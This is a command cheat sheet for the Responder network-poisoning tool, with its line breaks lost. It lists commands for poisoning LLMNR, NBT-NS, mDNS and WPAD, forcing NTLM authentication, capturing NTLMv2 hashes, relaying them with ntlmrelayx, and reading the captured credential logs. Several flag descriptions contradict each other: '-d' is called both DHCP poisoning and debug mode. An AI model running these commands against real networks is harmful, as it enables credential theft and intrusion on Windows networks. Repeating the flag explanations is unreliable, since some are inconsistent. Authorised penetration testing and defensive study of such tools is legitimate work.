
Responder is a LLMNR, NBT-NS, and MDNS poisoner. It answers specific queries on a network to divert traffic to the attacker's machine, allowing for the capture of NTLMv1/v2 hashes.
Installation
sudo apt update && sudo apt install respondergit clone https://github.com/lgandx/Responder.gitcd Responderpip3 install -r requirements.txtsudo python3 Responder.py --helpBasic Usage
sudo responder -I eth0 #Start Responder poisoning on interface eth0sudo responder -I eth0 -v #Enable verbose outputsudo responder -I eth0 -dw #Enable WPAD and HTTP authentication capturesudo responder -I eth0 -A #Analyze mode (no poisoning)sudo responder -I eth0 -v -FDdP #All out attackInterface Selection
ip a #Identify available interfacessudo responder -I eth0 #Run Responder on ethernet interfacesudo responder -I wlan0 #Run Responder on wireless interfacesudo responder -I tun0 #Run through VPN interfaceLLMNR / NBT-NS / mDNS Poisoning
sudo responder -I eth0 -rdw #Enable LLMNR, NBT-NS, and WPAD poisoningsudo responder -I eth0 -r #Enable NetBIOS Name Service poisoningsudo responder -I eth0 -d #Enable DHCP poisoningsudo responder -I eth0 -m #Enable mDNS poisoningCredential Capture
sudo responder -I eth0 -v #Capture NTLMv1/NTLMv2 authentication attemptssudo responder -I eth0 -wrf #Force WPAD authentication and capture hashessudo responder -I eth0 -F #Force NTLM authenticationsudo responder -I eth0 -w #Start WPAD rogue proxy serverCommon Attack Scenarios
Capture Windows NTLMv2 Hashes
sudo responder -I eth0 -v #Passively capture NTLM authenticationsudo responder -I eth0 -rdwv #Capture hashes via LLMNR/NBT-NS poisoningWPAD Rogue Proxy Attack
sudo responder -I eth0 -w #Enable WPAD rogue proxysudo responder -I eth0 -wdF #Force authentication through WPADPassive Network Analysis
sudo responder -I eth0 -A #Analyze traffic without poisoningsudo responder -I eth0 -Av #Analyze mode with verbose outputIntegration With Other Tools
Responder & ntlmrelayx
sudo responder -I eth0 -rdwv #Capture NTLM authenticationntlmrelayx.py -tf targets.txt -smb2support #Relay captured credentialsHash Storage Locations
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-* #View captured SMB hashescat /usr/share/responder/logs/HTTP-NTLMv2-* #View captured HTTP authentication hashescat /usr/share/responder/logs/* #View all captured credentialsResponder Configuration
nano /etc/responder/Responder.conf #Edit Responder configurationcat /etc/responder/Responder.conf #View current configurationgrep SMB /etc/responder/Responder.conf #Check SMB poisoning settingsResponder Servers
sudo responder -I eth0 -rdwv #Enable SMB, HTTP, HTTPS credential capturesudo responder -I eth0 -wF #WPAD proxy with forced authenticationsudo responder -I eth0 -rf #Enable NetBIOS and authentication forcingVerbose & Debug Modes
sudo responder -I eth0 -v #Verbose outputsudo responder -I eth0 -vv #Extra verbose outputsudo responder -I eth0 -d #Debug modeStopping Responder
CTRL + C #Stop Responder poisoningps aux | grep responder #Check if Responder is still runningsudo killall python3 #Kill Responder process



